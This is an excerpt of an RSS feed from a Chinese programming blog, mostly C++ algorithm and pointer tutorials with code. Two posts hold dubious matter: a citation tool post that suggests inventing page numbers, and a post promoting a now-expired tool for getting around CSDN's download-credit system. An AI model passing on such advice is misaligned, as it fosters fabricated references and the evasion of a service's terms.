&lt;p&gt;&amp;hellip;
n-1.第n-1步：代价为&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;|warehouse[1]+warehouse[2]+...+warehouse[n-1]-(n-1)*average-k|&lt;/pre&gt;
&lt;p&gt;此时，仓库n剩下的货物量：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;(warehouse[n]+k)+warehouse[1]+warehouse[2]+...+warehouse[n-1]-(n-1)*average-k=(warehouse[1]+warehouse[2]+...+warehouse[n])-(n-1)*average=average&lt;/pre&gt;
&lt;p&gt;刚好也满足，其实这里不用推导，因为平均值是算好的，所以最胡一定是刚好完成的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;总的代价为&lt;/strong&gt;：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;|k|+|warehouse[1]-average-k|+|warehouse[1]+a[2]-2*average-k|+...+|warehouse[1]+warehouse[2]+...+warehouse[n-1]-(n-1)*average-k|&lt;/pre&gt;
&lt;p&gt;不妨令sum[i] = warehouse[1]+warehouse[2]+&amp;hellip;+warehouse[i]-i*average
则，总代价可表示为：|k|+|sum[1]-k|+|sum[2]-k|+&amp;hellip;+|sum[n-1]-k|
这个式子可以看成在水平数轴上寻找一个点k，使得点k到点0,sum[1],sum[2],sum[3],&amp;hellip;,sum[n-1]的距离之和最小，显然k应该取这n个数的中位数。至此问题解决。&lt;/p&gt;
&lt;p&gt;给出详细注释代码：&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;#include &#34;stdafx.h&#34;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;algorithm&amp;gt;
#include&amp;lt;string&amp;gt;

using namespace std;

const int X = 100000;
double sum[X],warehouse[X];
int n;

double Abs(double x)
{
	return max(x,-x);
}

int _tmain(int argc, _TCHAR* argv[])
{
	while(true)
	{
		double total = 0;
		double mid=0;
		cout&amp;lt;&amp;lt;&#34;请输入仓库数目：&#34;;
		cin&amp;gt;&amp;gt;n;
		//读入n个仓库的值，并计算总数
		for(int i=1;i&amp;lt;=n;i++)
		{
			cout&amp;lt;&amp;lt;&#34;请输入第&#34;&amp;lt;&amp;lt;i&amp;lt;&amp;lt;&#34;个仓库的存量：&#34;;
			cin&amp;gt;&amp;gt;warehouse[i];
			total += warehouse[i];
		}
		//计算每个仓库应该最终存储的值
		double average = total/n;
		//计算sum数组
		for(int i=1;i&amp;lt;n;i++)
			sum[i] = warehouse[i]+sum[i-1]-average;
		//排序后打算去中位数
		//sort采用半开半闭区间，所以排序为0～n-1
		sort(sum,sum+n);
		//这个可以自己举个数字就知道了
		if(n%2!=0)
		{	
			mid = sum[n/2];
		}
		else
		{
			mid=(sum[n/2]+sum[n/2-1])/2;
		}
		cout&amp;lt;&amp;lt;&#34;应该从1开始,运输&#34;&amp;lt;&amp;lt;mid&amp;lt;&amp;lt;&#34;货物,然后依次保证符合条件即可&#34;&amp;lt;&amp;lt;endl;
		double ans = Abs(mid);
		for(int i=1;i&amp;lt;n;i++)
			ans += Abs(sum[i]-mid);
		cout&amp;lt;&amp;lt;&#34;总成本花费是:&#34;&amp;lt;&amp;lt;ans&amp;lt;&amp;lt;endl;
		cout&amp;lt;&amp;lt;&#34;----------------------------------------------------------------------&#34;&amp;lt;&amp;lt;endl;
	}
	return 0;
}&lt;/pre&gt;
&lt;p&gt;思路借鉴了：&lt;a href=&#34;http://hi.baidu.com/hujunjiehit/item/54204f01931ee6c49157184c&#34;&gt;http://hi.baidu.com/hujunjiehit/item/54204f01931ee6c49157184c&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;错误之处欢迎留言指出..&lt;/p&gt;</description>
    </item>
    <item>
      <title>邻接表实现无向图(C&#43;&#43;)</title>
      <link>http://blog.leaver.me/2013/05/31/%E9%82%BB%E6%8E%A5%E8%A1%A8%E5%AE%9E%E7%8E%B0%E6%97%A0%E5%90%91%E5%9B%BEc/</link>
      <pubDate>Fri, 31 May 2013 15:05:29 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/05/31/%E9%82%BB%E6%8E%A5%E8%A1%A8%E5%AE%9E%E7%8E%B0%E6%97%A0%E5%90%91%E5%9B%BEc/</guid>
      <description>&lt;p&gt;很早以前写的代码了，贴出来做个备份吧。用向量来存储一条邻接链表，存储可连通值。实现了判断是否连通，添加边，添加顶点的功能。&lt;/p&gt;
&lt;p&gt;UnDirectGraph.h&lt;/p&gt;
&lt;pre class=&#34;show-lang:1 lang:default decode:true&#34;&gt;#pragma once

#include &#34;stdafx.h&#34;
#include &amp;lt;vector&amp;gt;
using namespace std;
class UnDirectGraph
{
private:
	int vCount;
	vector&amp;lt;int&amp;gt; *adj;
public:
	int GetVCount();
	UnDirectGraph(int vCount);
	void AddEdge(int v,int w);
	vector&amp;lt;int&amp;gt; &amp;amp;Vadj(int v);
	bool IsConnected(int v,int w);
};&lt;/pre&gt;
&lt;p&gt;UnDirectGraph.cpp&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;#pragma once

#include &#34;stdafx.h&#34;
#include &#34;UnDirectGraph.h&#34;
using namespace std;
UnDirectGraph::UnDirectGraph(int _vCount)
{
	this-&amp;gt;vCount=_vCount;
	adj=new vector&amp;lt;int&amp;gt;[vCount];

	for (int i=0;i&amp;lt;vCount;i++)
	{
			adj[i].clear();
	}

}
void UnDirectGraph::AddEdge(int v,int w)
{
	adj[v].push_back(w);
	adj[w].push_back(v);
}

vector&amp;lt;int&amp;gt;&amp;amp; UnDirectGraph::Vadj(int v)
{
	return adj[v];
}

bool UnDirectGraph::IsConnected(int v,int w)
{
	for (vector&amp;lt;int&amp;gt;::iterator iter=adj[v].begin();iter!=adj[v].end();iter++)
	{
		if (*iter==w)
		{
			return true;
		}
	}
	return false;
}

int UnDirectGraph::GetVCount()
{
	return vCount;
}&lt;/pre&gt;
&lt;p&gt;代码还算清晰，就不解释了，有问题留言反馈。谢谢。&lt;/p&gt;</description>
    </item>
    <item>
      <title>求整数1-N范围和为N的所有组合</title>
      <link>http://blog.leaver.me/2013/05/27/%E6%B1%82%E6%95%B4%E6%95%B01-n%E8%8C%83%E5%9B%B4%E5%92%8C%E4%B8%BAn%E7%9A%84%E6%89%80%E6%9C%89%E7%BB%84%E5%90%88/</link>
      <pubDate>Mon, 27 May 2013 10:55:49 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/05/27/%E6%B1%82%E6%95%B4%E6%95%B01-n%E8%8C%83%E5%9B%B4%E5%92%8C%E4%B8%BAn%E7%9A%84%E6%89%80%E6%9C%89%E7%BB%84%E5%90%88/</guid>
      <description>&lt;p&gt;看到的一道题，给出答案&lt;/p&gt;
&lt;p&gt;问题：找出整数1~N范围和为N的所有集合，集合里的数不允许重复。&lt;/p&gt;
&lt;p&gt;解答：递归吧&lt;/p&gt;
&lt;p&gt;代码如下：&lt;/p&gt;
&lt;pre class=&#34;lang:c++ decode:true&#34;&gt;#include &#34;stdafx.h&#34;
#include &amp;lt;iostream&amp;gt;
using namespace std;

void PrintResult(int *log,int index)
{
	for (int i = 0; i &amp;lt;index; ++i)
	{
		cout&amp;lt;&amp;lt;log[i]&amp;lt;&amp;lt;&#34; &#34;;
	}
	cout&amp;lt;&amp;lt;endl;
}

void CalCombination(int* log,int startNum,int N,int &amp;amp;index)
{
	if (N==0)
	{
		PrintResult(log,index);
	}

	else
	{
		for (int i = startNum; i &amp;lt;= N; ++i)
		{
			log[index++]=i;
			CalCombination(log,i+1,N-i,index);
		}
	}
	index--;
}

int _tmain(int argc, _TCHAR* argv[])
{
	cout&amp;lt;&amp;lt;&#34;请输入N:&#34;;
	int N=20;
	cin&amp;gt;&amp;gt;N;
	int *log=new int[N];
	int index=0;
	CalCombination(log,1,N,index);
}&lt;/pre&gt;
&lt;p&gt;要是允许重复，也简单，将递归中的这句话改为：&lt;/p&gt;
&lt;pre&gt;CalCombination(log,i,N-i,index);&lt;/pre&gt;
&lt;p&gt;同理，还可以解决类似给定一个数组，让求和为N的元素组合，只需要现将元素排个序，然后思路相同。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>武汉大学论文参考文献格式生成工具(C#)</title>
      <link>http://blog.leaver.me/2013/05/24/%E6%AD%A6%E6%B1%89%E5%A4%A7%E5%AD%A6%E8%AE%BA%E6%96%87%E5%8F%82%E8%80%83%E6%96%87%E7%8C%AE%E6%A0%BC%E5%BC%8F%E7%94%9F%E6%88%90%E5%B7%A5%E5%85%B7c/</link>
      <pubDate>Fri, 24 May 2013 11:31:19 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/05/24/%E6%AD%A6%E6%B1%89%E5%A4%A7%E5%AD%A6%E8%AE%BA%E6%96%87%E5%8F%82%E8%80%83%E6%96%87%E7%8C%AE%E6%A0%BC%E5%BC%8F%E7%94%9F%E6%88%90%E5%B7%A5%E5%85%B7c/</guid>
      <description>&lt;p&gt;每次写论文报告什么的，最头疼的就是参考文献的，本来打算写一个论文格式生成工具的，不过，一想起代码量，就有点吓人，所以分而治之，先写参考文献生成工具.&lt;/p&gt;
&lt;p&gt;本工具生成的文献格式符合武汉大学本科生论文的格式要求，因此，放心使用，填写内容都是必填，页码什么的要是不知道就随便填一个..你懂的..有问题请留言反馈。&lt;/p&gt;
&lt;p&gt;程序提供8种参考文献类型，第9种电子文献，没有实现，因为感觉在论文中参考文献要是网址的话很难看.而且用的不多..其实主要还是懒..每种文献类型需要填写的信息都不一样，8种&amp;hellip;8种&amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/36356_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/0a81d82d86007c82e327e9c0bbce1e32bb637f0e.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;使用方法：&lt;/p&gt;
&lt;p&gt;1.在界面右侧选择参考文献类型，然后填写。添加，左侧将会出现&lt;/p&gt;
&lt;p&gt;2.如果填写错误，双击左侧条目，即可删除&lt;/p&gt;
&lt;p&gt;3.完成后导出，即可在本目录生成docx文档&lt;/p&gt;
&lt;p&gt;下载地址：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=510063&amp;amp;uk=1493685990&#34;&gt;武汉大学论文参考文献格式生成工具&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>引用和指针(C&#43;&#43;)</title>
      <link>http://blog.leaver.me/2013/05/22/%E5%BC%95%E7%94%A8%E5%92%8C%E6%8C%87%E9%92%88c/</link>
      <pubDate>Wed, 22 May 2013 16:16:24 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/05/22/%E5%BC%95%E7%94%A8%E5%92%8C%E6%8C%87%E9%92%88c/</guid>
      <description>&lt;p&gt;今天在整理收藏夹的时候，又看到了这两篇非常不错的文章，关于指针和引用的，我就不翻译了，文章很简单，不过把其中我觉得很有意思的两部分结合我的理解希望说的更清楚,假定你读这篇文章之前已经知道指针，但是不是很清楚其中的部分。&lt;/p&gt;
&lt;p&gt;首先是关于指针的一个直观的一个认识.&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;#include &amp;lt;iostream&amp;gt;

int main()
{
  using namespace std;

// 声明并初始化指针.
  unsigned short int * pPointer = 0;
// 定义一个unsigned short int 变量 值为35698
  unsigned short int twoInt = 35698;
// 定义一个unsigned short int 变量 值为 77
  unsigned short int oneInt = 77;
// 使用&amp;amp;操作符将twoInt的地址赋给指针
  pPointer = &amp;amp;twoInt;
// pPointer 现在的值就是twoInt的地址了

// 打印
  cout &amp;lt;&amp;lt; &#34;pPointer的内存地址:\t\t&#34; &amp;lt;&amp;lt; &amp;amp;pPointer &amp;lt;&amp;lt; endl;
  cout &amp;lt;&amp;lt; &#34;oneInt的内存地址:\t&#34; &amp;lt;&amp;lt; &amp;amp;oneInt &amp;lt;&amp;lt; &#34;\t整数值:\t&#34; &amp;lt;&amp;lt; oneInt &amp;lt;&amp;lt; endl;
  cout &amp;lt;&amp;lt; &#34;twoInt的内存地址:\t&#34; &amp;lt;&amp;lt; &amp;amp;twoInt &amp;lt;&amp;lt; &#34;\t整数值:\t&#34; &amp;lt;&amp;lt; twoInt &amp;lt;&amp;lt; endl;
  cout &amp;lt;&amp;lt; &#34;pPointer所指向的地址(也就是pPoint的值):\t&#34; &amp;lt;&amp;lt; pPointer &amp;lt;&amp;lt; &#34;\t整数值:\t&#34; &amp;lt;&amp;lt; *pPointer &amp;lt;&amp;lt; endl;

return 0;
}&lt;/pre&gt;
&lt;p&gt;上面这段代码，声明了一个指针，和两个整数，指针指向第一个整数，然后输出结果（每个人的输出结果不一样）是：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;pPointer的内存地址:                   0xbff43314
oneInt的内存地址:                     0xbff43318       整数值:  77
twoInt的内存地址:                     0xbff4331a       整数值:  35698
pPointer所指向的地址(也就是pPoint的值): 0xbff4331a       整数值:  35698&lt;/pre&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/36294_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ef97273d51f6843eb062463a3091a8edb177b30e.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这张图是这几个变量的内存分布图，上面一排是内存地址编号，正对我们的是该处的值&lt;/p&gt;
&lt;p&gt;指针pPointer这个变量从最左边0xbff43314这个内存位置开始，占用了四个字节，这个一个指针占四个字节，大家都知道的，这个变量的值是一个地址，也就是他的指向地址。&lt;/p&gt;
&lt;p&gt;pPointer 所指向的地址呢，是一个short int 类型的值所在的位置，在这里就是我们的twoint，twoint在内存中呢，是从0xbff4331a开始的，也就是说，我们的pPointer指向了twoint所在的地址，&lt;/p&gt;
&lt;p&gt;注意，看一下左边四个方块前面的二进制数，转换成16进制就是0xbff4331a了&lt;/p&gt;
&lt;p&gt;因此，取指针所指向的值就是35698了。指针本身的值则是0xbff4331a，指针所在的位置是0xbff43314。&lt;/p&gt;
&lt;p&gt;参考文章：&lt;a href=&#34;http://linuxconfig.org/c-understanding-pointers&#34;&gt;C++ : Understanding pointers&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;另一个呢是关于引用的实现原理&lt;/p&gt;
&lt;p&gt;大家都知道，引用就是别名，比如下面这段代码&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;#include &amp;lt;iostream&amp;gt;
using namespace std;

int main() {
   int number = 88;          // 定义一个int变量
   int &amp;amp; refNumber = number; // 声明并初始化一个引用
                             // 现在他们都表示了同一个值

   cout &amp;lt;&amp;lt; number &amp;lt;&amp;lt; endl;    // 打印number的值 (88)
   cout &amp;lt;&amp;lt; refNumber &amp;lt;&amp;lt; endl; // 打印引用的值 (88)

   refNumber = 99;            // 给refNumber重新赋一个值
   cout &amp;lt;&amp;lt; refNumber &amp;lt;&amp;lt; endl;
   cout &amp;lt;&amp;lt; number &amp;lt;&amp;lt; endl;    // number的值也就变成了 (99)

   number = 55;               // 重新给number赋一个值
   cout &amp;lt;&amp;lt; number &amp;lt;&amp;lt; endl;
   cout &amp;lt;&amp;lt; refNumber &amp;lt;&amp;lt; endl; // refNumber也就变成了(55)
}&lt;/pre&gt;
&lt;p&gt;输出结果肯定一目了然，其中的原理想过没&lt;/p&gt;</description>
    </item>
    <item>
      <title>倒水问题求解(C&#43;&#43;)</title>
      <link>http://blog.leaver.me/2013/05/15/%E5%80%92%E6%B0%B4%E9%97%AE%E9%A2%98%E6%B1%82%E8%A7%A3c/</link>
      <pubDate>Wed, 15 May 2013 18:37:24 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/05/15/%E5%80%92%E6%B0%B4%E9%97%AE%E9%A2%98%E6%B1%82%E8%A7%A3c/</guid>
      <description>&lt;p&gt;明天要去参加微软面试，不求顺利，但求体验。&lt;/p&gt;
&lt;p&gt;这个题目答题的意思是:&lt;/p&gt;
&lt;p&gt;给你一个容量为A升的桶和一个容量为B升的桶，水不限使用，要求精确得到Q升水.请说明步骤&lt;/p&gt;
&lt;p&gt;当数字比较小的时候,我们可以通过大脑穷举来得到结果,但这里有两个问题,当数字很大的时候怎么解?题目给定的数据是否有解?&lt;/p&gt;
&lt;p&gt;首先判断是否有解?&lt;/p&gt;
&lt;p&gt;题目可以理解为,x为用A的次数,y为用B的次数,Q为目标值&lt;/p&gt;
&lt;p&gt;Q = A * x + B * y
Q =目标值.&lt;/p&gt;
&lt;p&gt;Q必须是 Gcd(A,B)(也就是A,B的最大公约数)的倍数,否则无解,如果 Gcd(A,B) == 1, 任何Q都是可解的&lt;/p&gt;
&lt;p&gt;最简单的方法就是把A的水不断的向B中倒(B向A中倒也行),知道得到最终结果,如果桶满了,就清空该桶.举个例子&lt;/p&gt;
&lt;p&gt;A = 3, B = 4 并且 Q = 2
重复得从 A-&amp;gt;B&lt;/p&gt;
&lt;p&gt;A B&lt;/p&gt;
&lt;h6&gt;&lt;/h6&gt;
&lt;p&gt;0 0
4 0
1 3
1 0
0 1
4 1
2 3 &amp;lt;-A桶中得到2了&lt;/p&gt;
&lt;p&gt;试试从  B-&amp;gt;A&lt;/p&gt;
&lt;p&gt;A B&lt;/p&gt;
&lt;h5&gt;&lt;/h5&gt;
&lt;p&gt;0 0
0 3
3 0
3 3
4 2 &amp;lt;- B中也得到了2
但是注意,从 B-&amp;gt;A 比从 A-&amp;gt;B快哦&lt;/p&gt;
&lt;p&gt;然后我贴出代码&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;#include &#34;stdafx.h&#34;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;vector&amp;gt;
#include&amp;lt;string&amp;gt;

using namespace std;

//热门智力题 - 打水问题
//基本思想：用A桶容量的倍数对B桶的容量进行取余。
//指导方针：不断用A桶装水倒入B桶，B桶满了立即清空
//每次判断下二个桶中水的容量是否等于指定容量。
const string OPERATOR_NAME[7] = {
	&#34;装满A桶&#34;,
	&#34;装满B桶&#34;,
	&#34;将A桶清空&#34;,
	&#34;将B桶清空&#34;,
	&#34;A桶中水倒入B桶&#34;,
	&#34;B桶中水倒入A桶&#34;,
	&#34;成功得到结果&#34;
};
int max(int a,int b)
{
	return a&amp;gt;b?a:b;
}
int gcd(int m,int n)
{
	int temp,p,r;
	//n存放最小数，m存放最大数
	if(n&amp;gt;m){
		temp = n;
		n = m;
		m = temp;
	}
	p=n*m;//先取得两个数的积
	while(n!=0){
		r=m%n;
		m=n;
		n=r;
	}
return m;
}
int _tmain(int argc, _TCHAR* argv[])
{
	int    a_capacity, b_capacity, goal_capacity;
	vector&amp;lt;string&amp;gt; record;       //记录操作过程
	int a_water, b_water;

	cout&amp;lt;&amp;lt;&#34;请输入A桶容量，B桶容量，目标容量Q：&#34;;
	cin&amp;gt;&amp;gt;a_capacity&amp;gt;&amp;gt;b_capacity&amp;gt;&amp;gt;goal_capacity;
	a_water = b_water = 0; //A桶，B桶中有多少升水

	//判断是否一定可解
	if (a_capacity&amp;lt;=0 || b_capacity&amp;lt;=0 || goal_capacity&amp;lt;=0)
	{
		cout&amp;lt;&amp;lt;&#34;请保证所以容量大于0&#34;&amp;lt;&amp;lt;endl;
		return -1;
	}
	if (goal_capacity&amp;gt;max(a_capacity,b_capacity))
	{
		cout&amp;lt;&amp;lt;&#34;要量出的容量应该小于其中桶容量&#34;&amp;lt;&amp;lt;endl;
		return -2;
	}
	//如果可解则解之
	if(goal_capacity%gcd(a_capacity,b_capacity)==0)
	{
		//存放临时的字符串构造
		char szTemp[30];
		while (true)
		{
			if (a_water == 0)//A桶没水,就装满水
			{
				a_water = a_capacity;
				sprintf(szTemp, &#34;         A:%d  B:%d&#34;, a_water, b_water);
				record.push_back(OPERATOR_NAME[0] + szTemp);//先填满 A桶
			}
			else
			{
				//如果A桶的水比(B桶容量-B桶的水)要多，也就是多于没装满的B桶空出来的部分，A桶会剩下
				if (a_water &amp;gt; b_capacity - b_water)
				{
					//A桶向B桶倒水直到B桶满，此时A桶的水==A桶的水+B桶的水-B桶容量
					a_water = a_water + b_water- b_capacity;
					b_water = b_capacity;		 //B桶的水装满了
					sprintf(szTemp, &#34;  A:%d  B:%d&#34;, a_water, b_water); 
					record.push_back(OPERATOR_NAME[4] + szTemp);//A-&amp;gt;B	
					if (a_water == goal_capacity)
						break;
					b_water = 0;			//将B桶清空
					sprintf(szTemp, &#34;       A:%d  B:%d&#34;, a_water, b_water); 
					record.push_back(OPERATOR_NAME[3] + szTemp);
				}
				else
				{
					//A桶小于装满B桶需要的水，此时B桶的水==A桶的水+B桶的水
					b_water += a_water;	
					a_water = 0;
					sprintf(szTemp, &#34;  A:%d  B:%d&#34;, a_water, b_water);
					record.push_back(OPERATOR_NAME[4] + szTemp);//A-&amp;gt;B
					if (b_water == goal_capacity) 
						break;
				}
			}
		}
		record.push_back(OPERATOR_NAME[6]);	//break出来说明成功了
		cout&amp;lt;&amp;lt;&#34;\n---------------------------------------------------&#34;&amp;lt;&amp;lt;endl;
		cout&amp;lt;&amp;lt;&#34;以下下是一种方案&#34;&amp;lt;&amp;lt;endl;
		vector&amp;lt;string&amp;gt;::iterator pos;
		for (pos = record.begin(); pos != record.end(); pos++)
			cout&amp;lt;&amp;lt;*pos&amp;lt;&amp;lt;endl;
		cout&amp;lt;&amp;lt;&#34;---------------------------------------------------&#34;&amp;lt;&amp;lt;endl;
	}
	else
	{
		cout&amp;lt;&amp;lt;&#34;此情况下无解&#34;&amp;lt;&amp;lt;endl;
	}

	return 0;
}&lt;/pre&gt;
&lt;p&gt;运行结果如下：&lt;/p&gt;</description>
    </item>
    <item>
      <title>[已失效]Csdn免积分下载器</title>
      <link>http://blog.leaver.me/2013/05/01/%E5%B7%B2%E5%A4%B1%E6%95%88csdn%E5%85%8D%E7%A7%AF%E5%88%86%E4%B8%8B%E8%BD%BD%E5%99%A8/</link>
      <pubDate>Wed, 01 May 2013 20:39:52 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/05/01/%E5%B7%B2%E5%A4%B1%E6%95%88csdn%E5%85%8D%E7%A7%AF%E5%88%86%E4%B8%8B%E8%BD%BD%E5%99%A8/</guid>
      <description>&lt;p&gt;作者：bystander&lt;/p&gt;
&lt;p&gt;转载请注明来源:&lt;a href=&#34;http://leaver.me&#34;&gt;http://leaver.me&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;原理很简单，目前好像还没有大规模传开，我就不透露了，大家低调使用.为了方便，我写了个客户端，下载地址在文章末尾&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/35412_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/c14131e3f22197232347a8230c51cb661e50f167.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;使用方法直接把你想下载的地址复制过去，点击下载就会调用ie来下载了.&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;文章太短了，发两个可乐的吧：&lt;/p&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;第一个是：&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;＂网上发言，请不要随便自称笔者，毕竟有没有在用笔在写一目了然。这个词汇已经要汇入历史长河了，虽然曾经的那么疯狂存在过，但至少在互联网上该消失了。＂&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;＂那以后自称什么？＂&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;＂键人。＂&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;----------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div&gt;第二个：&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;---光棍君：五一快到了，你还是一个人吗？&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;  ---你MB，难道我会变成狗吗？&lt;/div&gt;
&lt;div&gt;----------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div&gt;第一个冷笑话，第二个是热笑话，冷暖自知。一个成语瞬间提升了整篇文章的境界。&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
下载地址：[Csdn下载器](http://pan.baidu.com/share/link?shareid=468747&amp;amp;uk=1493685990)</description>
    </item>
    <item>
      <title>一道笔试指针题目详解</title>
      <link>http://blog.leaver.me/2013/04/17/%E4%B8%80%E9%81%93%E7%AC%94%E8%AF%95%E6%8C%87%E9%92%88%E9%A2%98%E7%9B%AE%E8%AF%A6%E8%A7%A3/</link>
      <pubDate>Wed, 17 Apr 2013 08:34:39 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/04/17/%E4%B8%80%E9%81%93%E7%AC%94%E8%AF%95%E6%8C%87%E9%92%88%E9%A2%98%E7%9B%AE%E8%AF%A6%E8%A7%A3/</guid>
      <description>&lt;p&gt;看到本题是在搜狗某年的笔试题上,看也没人给出非常详细的讲解,直接给出了答案,我来尝试写一写,&lt;/p&gt;
&lt;p&gt;貌似本题来源自&amp;lt;**The C Puzzle Book&amp;gt; ，**搜狗也只是换了一下字符串，直接看题吧&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;#include &amp;lt;stdio.h&amp;gt;
char *c[]={&#34;ENTNG&#34;, &#34;NST&#34;,&#34;AMAZI&#34;,&#34;FIRBE&#34;};
char** cp[]={c+3, c+2, c+1, c};
char ***cpp= cp;
int main() {
    printf(&#34;%s&#34;,**++cpp);
    printf(&#34;%s &#34;,*--*++cpp+3);
    printf(&#34;%s&#34;,*cpp[-2]+3);
    printf(&#34;%s&#34;,cpp[-1][-1]+1);
}&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;span style=&amp;quot;font-family: Georgia, &#39;Times New Roman&#39;, &#39;Bitstream Charter&#39;, Times, serif; font-size: 13px; line-height: 19px;&amp;quot;&amp;gt;请写出程序的执行结果....&amp;lt;/span&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;首先从左到右看：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;char *c[]= {
              &#34;ENTNG&#34;, 
              &#34;NST&#34;,
              &#34;AMAZI&#34;,
              &#34;FIRBE&#34;
            };&lt;/pre&gt;
&lt;p&gt;*c[] 是一个字符，因此，c[]是指向该字符，c就是一个数组（数组的内容为指向字符的指针），c已经被初始化了.&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;char** cp[]={c+3, c+2, c+1, c};&lt;/pre&gt;
&lt;p&gt;再看第二行，**cp[]是一个字符，*cp[]就是一个指针，指向该字符，cp[]就是一个指针，指向该指针，而cp就成为了指针数组，内容是指向字符的指针的指针。并且通过c的元素进行了初始化&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;char ***cpp= cp;&lt;/pre&gt;
&lt;p&gt;第三行，***cpp是一个字符，**cpp指向该字符，*cpp指向该指针，cpp就指向该字符的指针的指针.&lt;/p&gt;
&lt;p&gt;然后我画一张图表示初始的情况看看&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/35001_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ec5c34f9784a9f2a30d7a044ee954099a6e32e78.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后对于下面的输出语句，通过操作符优先级使用括号来区分一下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;*(*(++cpp));&lt;/pre&gt;
&lt;p&gt;这个嘛，就是把cpp后移(注意cpp已经改变了)然后就指向了cp[1]，然后两次取其值即可得到AMAZI&lt;/p&gt;
&lt;p&gt;推导过程如下：&lt;/p&gt;
&lt;address&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;++cpp -&amp;gt; cp[1]       // cp[1] -&amp;gt; c+2
++cpp = &amp;amp;cp[1]       // &amp;amp;(c+2)
*++cpp = *(&amp;amp;c+2)     //  c[2]
**++cpp = *&amp;amp;c[2]&lt;/pre&gt;
&lt;/address&gt;然后看第二个
&lt;pre class=&#34;lang:default decode:true&#34;&gt;(*(--(*(++cpp))))+3;&lt;/pre&gt;
加括号后如上，cpp再加一，就指向了cp[2],取一次值（也就是*号）就变成了c[1],然后--c[1]就指向了c[0],取值就成了c[0]的地址，然后地址+3，就是NG了
&lt;pre class=&#34;lang:default decode:true&#34;&gt;(*(cpp[-2]))+3;&lt;/pre&gt;
上面，cpp指向cp[2]了，然后呢，cpp[-2] 相当于*(cpp-2)，间接引用cp[2]，这样cpp[-2]就指向了cp[0]了，然后，就是FIRBE了,加3就是BE了
&lt;p&gt;最后&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;(cpp[-1][-1])+1;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;cpp还是之前的cp[2]，cpp[-1][-1]相当于*(*(cpp-1)-1),先减1指向了cp[1],取一次值就是c[2]了，然后c[2]-1就成为c[1]了，然后+1之后就是ST了.&lt;/p&gt;
&lt;p&gt;所以，最后输出就是&lt;/p&gt;
&lt;p&gt;AMAZINGBEST&lt;/p&gt;
&lt;p&gt;错误之处还望指正.&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>模板优先级队列及堆排序(C&#43;&#43;实现)</title>
